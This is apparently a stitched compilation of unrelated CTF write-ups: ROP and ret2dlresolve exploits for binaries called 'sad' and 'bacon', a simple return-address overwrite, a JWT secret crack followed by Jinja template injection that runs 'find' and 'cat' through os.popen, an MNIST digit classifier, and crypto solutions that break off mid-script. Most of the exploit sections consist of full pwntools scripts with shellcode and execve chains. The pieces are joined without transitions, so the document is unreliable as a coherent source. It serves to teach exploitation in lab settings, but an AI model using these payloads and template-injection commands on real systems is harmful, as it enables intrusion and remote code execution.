# The Tale of the Really SAD binary Static and Dynamic was an interesting challenge for me. I was able to figure this out; however, I had to try two different methods in order to successfully get it. The method of using syscalls already has a writeup for it. You can [click here](https://ctftime.org/task/12566) to view them. Rather I will show you how I tried to solve this challenge and how I was *almost* successful. The first thing that I did was run `checksec` on it. ```bash$ checksec sad[*] '/home/wittsend2/Documents/hacktivitycon-ctf/pwn/sad/sad' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)``` The weird part to me was that there was a canary. So I tried testing it out by running it. ```bashwittsend2@ubuntu:[~/Documents/hacktivitycon-ctf/pwn/sad]$ python -c "print('A'*264)"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwittsend2@ubuntu:[~/Documents/hacktivitycon-ctf/pwn/sad]$ ./sadThis is a really big binary. Hope you have everything you need ;)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault (core dumped)wittsend2@ubuntu:[~/Documents/hacktivitycon-ctf/pwn/sad]$ ```Hmmm, doesn't actually seems like there was a canary; thus, I will ignore that it was enabled. I also figured out that it took 256 bytes to start to overflow the buffer; thus, I will use that when crafting my exploit. Lets see if we can reverse this binary and find something interesting. When looking through the binary in Ghidra, I found this function called: `_dl_make_stack_executable`, and my brain thought it hit jackpot. Let's break down this file and see what we need to do. ```Culong _dl_make_stack_executable(ulong *param_1) { int iVar1; undefined4 extraout_var; long in_FS_OFFSET; iVar1 = mprotect((void *)(-_dl_pagesize & *param_1),_dl_pagesize,__stack_prot); if (iVar1 == 0) { *param_1 = 0; _dl_stack_flags = _dl_stack_flags | 1; return CONCAT44(extraout_var,iVar1); } return (ulong)*(uint *)(in_FS_OFFSET + -0x40);}``````assembly ************************************************************** * FUNCTION * ************************************************************** undefined _dl_make_stack_executable() undefined AL:1 <RETURN> _dl_make_stack_executable XREF[4]: Entry Point(*), _dl_map_object_from_fd.constprop 004a69b0(*), 004af138(*) 0046c120 f3 0f 1e fa ENDBR64 0046c124 48 8b 35 MOV RSI,qword ptr [_dl_pagesize] = 0000000000001000h ed 2f 04 00 0046c12b 8b 15 bf MOV EDX,dword ptr [__stack_prot] = 01000000h 1d 04 00 0046c131 53 PUSH RBX 0046c132 48 89 fb MOV RBX,RDI 0046c135 48 89 f7 MOV RDI,RSI 0046c138 48 f7 df NEG RDI 0046c13b 48 23 3b AND RDI,qword ptr [RBX] 0046c13e e8 2d 3b CALL mprotect int mprotect(void * __addr, size fd ff 0046c143 85 c0 TEST EAX,EAX 0046c145 75 19 JNZ LAB_0046c160 0046c147 48 c7 03 MOV qword ptr [RBX],0x0 00 00 00 00 0046c14e 5b POP RBX 0046c14f 83 0d b2 OR dword ptr [_dl_stack_flags],0x1 = 00000007h 2f 04 00 01 0046c156 c3 RET 0046c157 66 ?? 66h f 0046c158 0f ?? 0Fh 0046c159 1f ?? 1Fh 0046c15a 84 ?? 84h 0046c15b 00 ?? 00h 0046c15c 00 ?? 00h 0046c15d 00 ?? 00h 0046c15e 00 ?? 00h 0046c15f 00 ?? 00h LAB_0046c160 XREF[1]: 0046c145(j) 0046c160 48 c7 c0 MOV RAX,-0x40 c0 ff ff ff 0046c167 5b POP RBX 0046c168 64 8b 00 MOV EAX,dword ptr FS:[RAX] 0046c16b c3 RET 0046c16c 0f ?? 0Fh 0046c16d 1f ?? 1Fh 0046c16e 40 ?? 40h @ 0046c16f 00 ?? 00h``` From what we are looking at, it seems that it is awrapper for `mprotect()`. It takes `__stack_prot` as a parameter, which determines whether `NX` is enabled. After doing some research, I realized that the value of `__stack_prot` needed to be `7` so that it can be executable (this is done through a ROP chain). Afterwards, we can jump to the stack with shellcode. Here is what I crafted for the exploit so far. There is a slight issue with it, can you see it?: ```pyfrom pwn import * local = True if local == True: elf = ELF('./sad') p = elf.process()else: p = remote("jh2i.com", 50002) shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"log.info(len(shellcode))nops = b'\x90'*(264) #- len(shellcode)) with open("symbols.txt", "w") as f: f.write(str(elf.symbols.keys())) rbp = p64(0x402d00)pop_rsi_ret = p64(0x407aae) #pop rrsi; retpop_rax_ret = p64(0x43f8d7) #pop eax; retpop_rcx_ret = p64(0x4073e3) #pop rcx; retpop_rsp_ret = p64(0x40299b) #pop rsp; retpop_rdi_ret = p64(0x403434) #pop rdi ; ret#mov_rsi_ret = p64(0x46b8a5) #mov qword ptr [rsi] ; rax ; retaddr_exec_stack = p64(elf.symbols['_dl_make_stack_executable'])print("_dl_make_stack_executable function location: " + str(addr_exec_stack))addr_stack_prot = p64(elf.symbols['__stack_prot'])print("Stack prot variable: " + str(addr_stack_prot))libc_stack_end = p64(elf.symbols['__libc_stack_end'])print("Stack end: " + str(libc_stack_end)) payload = nopspayload += pop_rsi_retpayload += addr_stack_protpayload += pop_rax_retpayload += p64(0x7)# payload += mov_rsi_ret payload += pop_rdi_retpayload += libc_stack_endpayload += addr_exec_stack# NEED JMP_RSPpayload += shellcode with open("payload.txt", "wb") as f: f.write(payload)#leave_ret = p64(0x401e25) # print(elf.symbols['puts'])# payload = shellcode + nops + leave_ret + addr p.recvuntil("This is a really big binary. Hope you have everything you need ;)")p.sendline(payload)p.interactive()``` The issue is that we need an address to `jmp rsp`; however, when using ROPgadget, I was unable to find it. This is the fianl piece to test further whether stack. It is likely that **I might need to make adjustments after finding jmp rsp**; however, I wanted to share the concept of this path to the exploit with everyone. If you have any questions for me, please reach out to me on [The Ragnar Security Twitter](https://twitter.com/ragnarsecurity).
This solution relies on pwndbg to execute relevant functions, while circumventing invalid operations. Although it was possible to solve this task by adapting the decompiled functions, I wanted to investigate an approach that relied less on reimplementing the executable’s code.
This problem requires that you call a `flag()` function which reads the flag. Looking at the disassembly, we can see another buffer, this time of size `0x20` (32 in decimal).```r2┌ 104: int main (int argc, char **argv, char **envp);│ ; var char *s @ rbp-0x20│ 0x00401166 55 push rbp│ 0x00401167 4889e5 mov rbp, rsp│ 0x0040116a 4883ec20 sub rsp, 0x20│ ; <redacted>, Setup stdio and print some text│ 0x004011b6 488d45e0 lea rax, [s]│ 0x004011ba 4889c7 mov rdi, rax ; char *s│ 0x004011bd b800000000 mov eax, 0│ 0x004011c2 e899feffff call sym.imp.gets ;[3] ; char *gets(char *s)│ 0x004011c7 b800000000 mov eax, 0│ 0x004011cc c9 leave└ 0x004011cd c3 ret┌ 38: sym.flag ();│ 0x004011ce 55 push rbp│ ; <redacted>, print the flag└ 0x004011ef e87cfeffff call sym.imp.exit ;[5] ; void exit(int status)``` The exploit here is quite clear, we need to overwrite the return pointer of the `main()` function to `0x004011ce` to run the `flag()` function. To do so, we first need to send 32 bytes to fill up the input buffer, then send 8 bytes,\* and then the address `0x004011ce` as `\xce\x11@\x00\x00\x00\x00\x00` (the `@` is just `\x40`). \* One can find this out by debugging with [radare](https://www.radare.org/r/) which will was described in [this](https://theavid.dev/dmoj-ctf-20-binexp) blog post. It is *probably* for alignment, but to find out exactly why you'll have to become a [glibc librarian](https://www.gnu.org/software/libc/sources.html). With that, our explain script, once again using [pwntools](https://github.com/Gallopsled/pwntools/), can be seen below. We use `p64` to convert the 64-bit address to the bytes described above.```pyfrom pwn import * p = process("./pwn-intended-0x3")p = remote("chall.csivit.com", 30013) # Remove for local testingp.sendline(b"A" * (32 + 8) + p64(0x4011ce))p.interactive()``` And we get our flag, `csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}`, nice!
## Write up Template Shack On the website we got a session-token and token that seems to be a jwt:to get the secret we have to bruteforce the jwt, using john: ``echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y" > jwt.hash``To crack it:``john jwt.hash -w=/usr/share/wordlists/rockyou.txt``we get the secret as ``supersecret``![b4120f50ec01db439c6b1a0b2e17f8f3.png](_resources/c7897f309d1b41bca6694b0c50fe6bb6.png) Decoding it:![677ce90eb3b8a89b93597677284bfdb0.png](_resources/edef173f1f924dd4bf4b9be989e5d2b4.png) Now it's time to create a new token and sign it using the jwt_tool: ![e569e3c4d816e07a1b772e43a10ec4dd.png](_resources/27c86bb8667e43888b85f2fe27a54223.png) Using the tool to change guest for admin and sign it with the key: ![67ab31baeab4bf5345583493879465ab.png](_resources/0d09dd7005ed411fa6e80dab4dec1292.png) Our brand new jwt token with "admin" ``eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I``changing the token with this value gives us access to de admin panel: ![1b97e21508f7ed17c791a153c436aacb.png](_resources/cf524efaf471459a914df674074bf974.png) I noticed that inside the admin template when a webpage doesn't exists it renders the endpoint on the 404, for example if I look for /admin/abt.html I got: ![d26a25bb83b73a84cb913901c4a06eaa.png](_resources/ee4ef6fa2e3149428fcd900e2f90cb41.png) This added to the name of the challenge made me think about template injection and bingo: ![0ada9bdc9cc0f7636be6951b93d8ee7f.png](_resources/bc7b222a05394a07b2d0e41d87e9f0f7.png) So there is probably python running on the backgroung as this is a feature of flask jinja so let's find it out with ``{{ [].__class__.__base__.__subclasses__() }}``: ![1a41206868d5c17e10b3a8cf7044e622.png](_resources/f164d7016bf643edaba7377899c1188b.png) So now we just need to use the os library to read the flag:``{{ request.application.__globals__.__builtins__}}}`` we can access the builtins so we will try to import the os with ``{ request.application.__globals__.__builtins__.__import__('os')}}`` ![9ea482a3850c3e64e933167c48b47b7f.png](_resources/d3ff18b2a9f648c9a3e9e75fb19e4543.png) Its time to find the flag.txt ``{{ request.application.__globals__.__builtins__.__import__('os').popen('find / -name flag.txt').read()}}`` ![c1c780927a45638edfbabb212872c8e8.png](_resources/d7e17b2be5c141bc8fcee36137c945e4.png) and finally cat the flag ``{{ request.application.__globals__.__builtins__.__import__('os').popen('cat /home/user/flag.txt').read()}}`` ![9c8b0fc698ca5267541f7672ddb4da4c.png](_resources/133eb074a30742abafd3d3486a1bd323.png) And that was all!
x86 binary - no PIE - simple buffer overflow - NX - no canary - very little useful gadgets stack pivot and use `ret2dlresolve` and call `system("sh")` Exploit from https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 ```from pwn import *# r = process("./bacon")r = remote("jh2i.com", 50032)# gdb.attach(r, "bp 0x08049291")_elf = ELF("./bacon")resolver = 0x8049030 #push link_map and call dl_resolvebuf = 0x804cf10 #controllable area (.bss)leave_ret = 0x08049126 #gadget'''0x00000005 (STRTAB) 0x80482ec0x00000006 (SYMTAB) 0x804820c0x00000017 (JMPREL) 0x8048408'''SYMTAB = 0x804820cSTRTAB = 0x80482ecJMPREL = 0x8048408 # Pivoting the stack and calling read(0, buf, 0x80) for the rest of the payloadbuffer = ""buffer += "A"*1032buffer += p32(buf) #stack pivoting. (esp = buff)buffer += p32(_elf.plt["read"]) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x80)buffer += "A"*(0x42c-len(buffer)-1) # Compute offsets and forged structuresforged_ara = buf + 0x14rel_offset = forged_ara - JMPRELelf32_sym = forged_ara + 0x8 #size of elf32_sym align = 0x10 - ((elf32_sym - SYMTAB) % 0x10) #align to 0x10 elf32_sym = elf32_sym + alignindex_sym = (elf32_sym - SYMTAB) / 0x10 r_info = (index_sym << 8) | 0x7 elf32_rel = p32(_elf.got['read']) + p32(r_info)st_name = (elf32_sym + 0x10) - STRTABelf32_sym_struct = p32(st_name) + p32(0) + p32(0) + p32(0x12) # Rest of the payload: dl-resolve hack :) (the real deal)buffer2 = 'AAAA' #fake ebpbuffer2 += p32(resolver) # ret-to dl_resolvebuffer2 += p32(rel_offset) #JMPRL + offset = structbuffer2 += 'AAAA' #fake return buffer2 += p32(buf+100) # system parameterbuffer2 += elf32_rel # (buf+0x14)buffer2 += 'A' * alignbuffer2 += elf32_sym_struct # (buf+0x20)buffer2 += "system\x00"p = (100 - len(buffer2))buffer2 += 'A' * p #paddingbuffer2 += "sh\x00"p = (0x80 - len(buffer2))buffer2 += "A" * p #total read size r.sendline(buffer)context.log_level = "debug"r.sendline(buffer2)r.interactive()```
## DescriptionStarting up the program, we can see a simple prompt that takes in a user input and segfaults if it overflows.```bashThis is a really big binary. Hope you have everything you need ;)tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt[1] 247339 segmentation fault (core dumped) ./sad``` Looking at this executable in radare2 we find that there's a buffer of length `0x100` and the return pointer shows up after another 8 bytes of padding. By showing the memory maps (with `:dm`) after runtime, we can see that the stack, where our input goes is not executable:```0x00007ffddf880000 - 0x00007ffddf8a1000 - usr 132K s rw- [stack] [stack] ; map.stack_.rw``` ## ExploitationSo instead of writing shellcode (because it can't be executed), we can use a ROP Chain to eventually call `execve` with `"/bin/sh"` and spawn a shell. First though, we need to find the 5 gadgets below to be able to exploit. The address where they are located are also included and are part of the python exploit script.```pyPOP_RDI = p64(0x00481a89) # pop rdi, retPOP_RSI = p64(0x00481fd7) # pop rsi, retPOP_RDX = p64(0x0040177f) # pop rdx, retPOP_RAX = p64(0x0043f8d7) # pop rax, retSYSCALL = p64(0x0040eda4) # syscall, ret``` Now that we have found our gadgets, we need to determine the exact arguments (which use the registers `rdi`, `rsi`, and `rdx`, with the syscall number in `rax`) for `read` and `execve`. The `read` syscall takes in a file descriptor, pointer to a buffer to read into, and a count for the number of bytes to read in. In our case, we use `0` as the file descriptor for `stdin` and the buffer needs to be at some offset (PIE is disabled so this is constant) in writable memory. Let's use `0x4b0310` which can be found by looking at the writable memory maps and finding many null bytes. Before we understand the length, let's take a look at the arguments for `execve`. `execve` takes a pointer to a pathname, a pointer to an array of `char *` arguments to pass to the program, and a pointer to an array of `char *` environment variables. In our case, the pathname pointer will be `0x4b0310` which is where we will write `/bin/sh` and the arguments will be read in by the `read` right after the `/bin/sh` so we will use `0x4b0318`. These arguments need to be pointers to strings and, as we know, `argv[0]` is the program name so for simplicity we can have it point back to the `"/bin/sh"`. We end off with a null pointer to signify the end of the array. Finally, the environment variables can just be a null pointer for an empty array. Below is the full payload which `read` will read in as Python bytes:```pyb'/bin/sh\x00\x10\x03\x4b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # pathname: /bin/sh\x00# argv[0]: \x10\x03\x4b\x00\x00\x00\x00\x00# argv end: \x00\x00\x00\x00\x00\x00\x00\x00``` Jumping back to our `read` call, this gives us a final length of `24` and a final ROP Chain exploit which looks as follows:```py from pwn import *import sys p = process("./sad")# p = remote('jh2i.com', 50002) POP_RDI = p64(0x00481a89) # pop rdi, retPOP_RSI = p64(0x00481fd7) # pop rsi, retPOP_RDX = p64(0x0040177f) # pop rdx, retPOP_RAX = p64(0x0043f8d7) # pop rax, retSYSCALL = p64(0x0040eda4) # syscall, ret WRITE_OFFSET = 0x4b0310WRITE = b"/bin/sh\x00" + p64(WRITE_OFFSET) + p64(0) ROP_CHAIN = b"A" * (256 + 8)\ + POP_RDI \ + p64(0) \ + POP_RSI \ + p64(WRITE_OFFSET) \ + POP_RDX \ + p64(len(WRITE)) \ + POP_RAX \ + p64(0) \ + SYSCALL \ + POP_RDI \ + p64(WRITE_OFFSET) \ + POP_RSI \ + p64(WRITE_OFFSET + len(b"/bin/sh\x00")) \ + POP_RDX \ + p64(0) \ + POP_RAX \ + p64(59) \ + SYSCALL \ p.sendline(ROP_CHAIN)p.sendline(WRITE)p.interactive()```Every gadget will pop the pointer after it, so the first two lines of the `ROP_CHAIN` will place `0x0000000000000000` into `rdi`, `0x4b0310` (`WRITE_OFFSET`) into `rdx` and so on. The `0` and `59` used for `rax` are the system call numbers for `read` and `execve`. And bam, we get a shell and the flag.```sh$ lsflag.txtsad$ cat flag.txtflag{radically_statically_roppingly_vulnerable}```
# Misc: Find Me If You Can ## First look We are provided an address and port. Running ``netcat`` on these tells us we need to find the number not matching (we have 3 attempts). We are then given a blob of base64 encoded data. Decoding this reveals a header of ``78 9c``, meaning this is zlib compressed data. Decompressing gives us data with a JPEG file header, and viewing this image results in the following: ![](https://i.imgur.com/5mG00Wh.jpg) ## Approach This is clearly a machine learning problem. In fact, the image consists of 20x20 digits, all having a size of 28x28. This is coincidentally the same size as the images in the MNIST dataset. In order to indentify these digits, we train a simple Convolutional Neural Network using the MNIST dataset for training data. We used Keras for its ease of use. ### Note on classificationOne noteworthy point is that the output of our CNN is an array of length 10 containing the probabilities of the image being each number. When identifying an image, the highest probability is usually used. When using a CNN with 99% accuracy, this should still lead to 4 or more candidates, where we are only allowed 3. We can get around this by realising that because we know there are 399 correct images and only 1 wrong, we can instead use the geometrical distance from the probability array of each image to the average probability array, to get a better guess of the outlier numbers (the numbers most likely to be different from all others). ## Final Code ```import kerasfrom keras.datasets import mnistfrom keras.models import Sequentialfrom keras.layers import Dense, Dropout, Convolution2D, MaxPooling2D, Flattenfrom pwn import *from base64 import b64decodefrom zlib import decompressfrom io import BytesIOfrom PIL import Imageimport numpy as np model = Sequential()r = remote("34.70.233.147", 7777) batch_size = 32num_classes = 10epochs = 10 def train(): (x_train, y_train), (x_test, y_test) = mnist.load_data() x_train = x_train.reshape(x_train.shape[0], 1, 28, 28) x_test = x_test.reshape(x_test.shape[0], 1, 28, 28) x_train = x_train.astype('float32') x_test = x_test.astype('float32') x_train /= 255 x_test /= 255 print(x_train.shape[0], 'train samples') print(x_test.shape[0], 'test samples') y_train = keras.utils.to_categorical(y_train, num_classes) y_test = keras.utils.to_categorical(y_test, num_classes) model.add(Convolution2D(32,(3,3),activation='relu',data_format='channels_first',input_shape=(1,28,28))) model.add(Convolution2D(32, 3, 3, activation='relu')) model.add(MaxPooling2D(pool_size=(2,2))) model.add(Dropout(0.25)) model.add(Flatten()) model.add(Dense(256, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(10, activation='softmax')) model.summary() model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy']) history = model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, verbose=1, validation_data=(x_test, y_test)) score = model.evaluate(x_test, y_test, verbose=0) print('Test loss:', score[0]) print('Test accuracy:', score[1]) def recvwait(): s = b"" temp = r.recv(timeout=3) while temp: s += temp try: temp = r.recv(timeout=3) except: break return s def receive(): s = recvwait().decode() print(s) s = s.split("b'")[1].strip("'") d = decompress(b64decode(s.encode())) s = BytesIO(d) im = Image.open(s).convert("RGB") #im.show() s.close() out = [] for i in range(20): for j in range(20): pix = np.array([[im.getpixel((28*j+dj, 28*i+di))[0] for dj in range(28)] for di in range(28)]) pix = pix.reshape(1,1,28,28) pix = pix.astype('float32') pix /= 255 coord = (i, j) out.append((coord, pix)) return out train() while True: imgs = receive() out = [] grid = [[0 for j in range(20)] for i in range(20)] for img in imgs: res = model.predict(img[1]) val = np.argmax(res, axis=1)[0] out.append((img[0], list(res[0]))) grid[img[0][0]][img[0][1]] = val avg = [sum(ent[1][j] for ent in out)/len(out) for j in range(10)] fin = [] for ent in out: dists = sum(pow(avg[i]-ent[1][i], 2) for i in range(10)) fin.append((dists, ent[0])) fin = "("+", ".join(", ".join(str(i) for i in e[1]) for e in sorted(fin)[::-1][:3])+")" r.sendline(fin)``` ## Results Running this reaches a classifier accuracy of around 98%. After 100 images, we get the flag, ``inctf{1_D4Y_R0b0tS_will_rul3_th3_w0rld_4_SUR3!!}``
# **H@cktivityCon CTF 2020** <div align='center'> </div> This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/) *** # Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack) *** # Cryptography ## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life? Download the file below.\[fossil](assets//scripts//fossil) **`flag{tyrannosauras_xor_in_reverse}`** **Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script: ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c``` This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit: ```python#!/usr/bin/env python import base64import binascii cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex. We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier. We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC: <div align=center> </div> So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it! For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the third character doing the same operations and so on until we have decrypted all the ciphertext. For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext: ```python#!/usr/bin/env python import base64import binasciiimport string def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue``` and by running this script we get the flag: ![](assets//images//fossil_2.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## Perfect XORCan you decrypt the flag? Download the file below.\[decrypt.py](assets//scripts//decrypt.py) **`flag{tHE_br0kEN_Xor}`** **Solution:** with the challenge we get a python script: ```pythonimport base64n = 1i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")``` by the name of the file we can infer that the code purpose is to decrypt the ciphertext stored in cipher_b64 and hopefully print the flag, but it seems a little bit slow... ![](assets//images//perfect_1.gif) at this point it's somewhat stop printing characters but still runs.\This challenge is quite similar to a challenge in nahamCon CTF called Homecooked (make sense as it's the same organizers), in it there was an inefficient primality check that made the code unreasonably slow, so we might be up against something like that, let's look at the code, it first prints the start of the flag format, then it decodes the ciphertext and splits in into an array of strings, then for each string it tries to find a value of n bigger than the one used previously that makes a return the Boolean value True (for the first string it just finds the first one bigger than zero that satisfy a) if the code discovered a matching n it then xors n with the string and prints the result, this part is coded somewhat efficient so let's move on to function a, for argument n the function goes through all the numbers smaller than n and checks for each one if it divides n, if so it adds it to a running total, in the end the function check if the sum is equal to n and return True if so otherwise it returns False. Basically a checks if the sum of the divisors of n is equal to n, numbers that satisfy this are often called perfect numbers and there are more efficient ways to find them, we have discovered that all even perfect numbers are of the form p * ( p + 1 ) / 2 where p is a Mersenne prime, which are primes of the form 2 ** q - 1 for some integer q, furthermore we still haven't discovered any odd perfect number so all the perfect numbers known to us (and important for this challenge) are even perfect number, so I took a list of q's off the internet (the integers that make up Mersenne primes) and modified the code a bit so that instead of trying to find a perfect number it just uses the next q on the list to create one (I also tried to find a formatted list of perfect numbers or of Mersenne primes themselves but didn't find any): ```pythonimport base64from functools import reduce mersenne = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457] i = 0cipher_b64 = 